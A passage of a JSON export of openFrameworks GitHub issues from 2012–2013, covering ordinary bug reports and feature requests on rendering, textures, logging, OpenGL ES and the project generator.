:"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":2,"created_at":"2012-04-24T20:59:57Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","id":4231092,"number":1202,"title":"ofVideoPlayer etc needs ofColor access","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-04-22T18:42:58Z","updated_at":"2012-04-22T23:56:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","id":4207350,"number":1190,"title":"Bezier Shaders & Vector openGL rendering","user":{"login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","url":"https://api.github.com/users/microbians","html_url":"https://github.com/microbians","followers_url":"https://api.github.com/users/microbians/followers","following_url":"https://api.github.com/users/microbians/following","gists_url":"https://api.github.com/users/microbians/gists{/gist_id}","starred_url":"https://api.github.com/users/microbians/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/microbians/subscriptions","organizations_url":"https://api.github.com/users/microbians/orgs","repos_url":"https://api.github.com/users/microbians/repos","events_url":"https://api.github.com/users/microbians/events{/privacy}","received_events_url":"https://api.github.com/users/microbians/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2012-04-20T09:23:00Z","updated_at":"2013-02-04T20:49:50Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","id":4206982,"number":1189,"title":"ofSetCurveResolution + ofBezierVertex bug","user":{"login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","url":"https://api.github.com/users/microbians","html_url":"https://github.com/microbians","followers_url":"https://api.github.com/users/microbians/followers","following_url":"https://api.github.com/users/microbians/following","gists_url":"https://api.github.com/users/microbians/gists{/gist_id}","starred_url":"https://api.github.com/users/microbians/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/microbians/subscriptions","organizations_url":"https://api.github.com/users/microbians/orgs","repos_url":"https://api.github.com/users/microbians/repos","events_url":"https://api.github.com/users/microbians/events{/privacy}","received_events_url":"https://api.github.com/users/microbians/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":0,"created_at":"2012-04-20T08:51:51Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","id":4174070,"number":1186,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","user":{"login":"neilmendoza","id":818571,"avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","url":"https://api.github.com/users/neilmendoza","html_url":"https://github.com/neilmendoza","followers_url":"https://api.github.com/users/neilmendoza/followers","following_url":"https://api.github.com/users/neilmendoza/following","gists_url":"https://api.github.com/users/neilmendoza/gists{/gist_id}","starred_url":"https://api.github.com/users/neilmendoza/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/neilmendoza/subscriptions","organizations_url":"https://api.github.com/users/neilmendoza/orgs","repos_url":"https://api.github.com/users/neilmendoza/repos","events_url":"https://api.github.com/users/neilmendoza/events{/privacy}","received_events_url":"https://api.github.com/users/neilmendoza/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-04-18T15:08:32Z","updated_at":"2012-05-01T04:10:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","id":4132608,"number":1178,"title":"OpenGLES2 not working","user":{"login":"erinnovations","id":253455,"avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","url":"https://api.github.com/users/erinnovations","html_url":"https://github.com/erinnovations","followers_url":"https://api.github.com/users/erinnovations/followers","following_url":"https://api.github.com/users/erinnovations/following","gists_url":"https://api.github.com/users/erinnovations/gists{/gist_id}","starred_url":"https://api.github.com/users/erinnovations/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/erinnovations/subscriptions","organizations_url":"https://api.github.com/users/erinnovations/orgs","repos_url":"https://api.github.com/users/erinnovations/repos","events_url":"https://api.github.com/users/erinnovations/events{/privacy}","received_events_url":"https://api.github.com/users/erinnovations/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":26,"created_at":"2012-04-16T11:19:36Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","id":4117762,"number":1175,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-14T13:45:42Z","updated_at":"2012-04-14T13:45:55Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","id":4081188,"number":1171,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","user":{"login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","url":"https://api.github.com/users/jesusgollonet","html_url":"https://github.com/jesusgollonet","followers_url":"https://api.github.com/users/jesusgollonet/followers","following_url":"https://api.github.com/users/jesusgollonet/following","gists_url":"https://api.github.com/users/jesusgollonet/gists{/gist_id}","starred_url":"https://api.github.com/users/jesusgollonet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jesusgollonet/subscriptions","organizations_url":"https://api.github.com/users/jesusgollonet/orgs","repos_url":"https://api.github.com/users/jesusgollonet/repos","events_url":"https://api.github.com/users/jesusgollonet/events{/privacy}","received_events_url":"https://api.github.com/users/jesusgollonet/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-12T10:09:42Z","updated_at":"2012-04-12T10:09:42Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","id":4063366,"number":1165,"title":"ofLogError, ofLogWarning lack format, ... args","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2012-04-11T11:56:33Z","updated_at":"2012-04-21T15:41:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","id":4032047,"number":1152,"title":"grabScreen in ofImage fails on Android","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2012-04-09T17:15:21Z","updated_at":"2012-07-13T19:01:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","id":4015514,"number":1146,"title":"Document Project Generator / clean out old tools","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-07T14:43:53Z","updated_at":"2012-04-07T15:00:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","id":4010494,"number":1145,"title":"ofCairoRenderer ofMesh 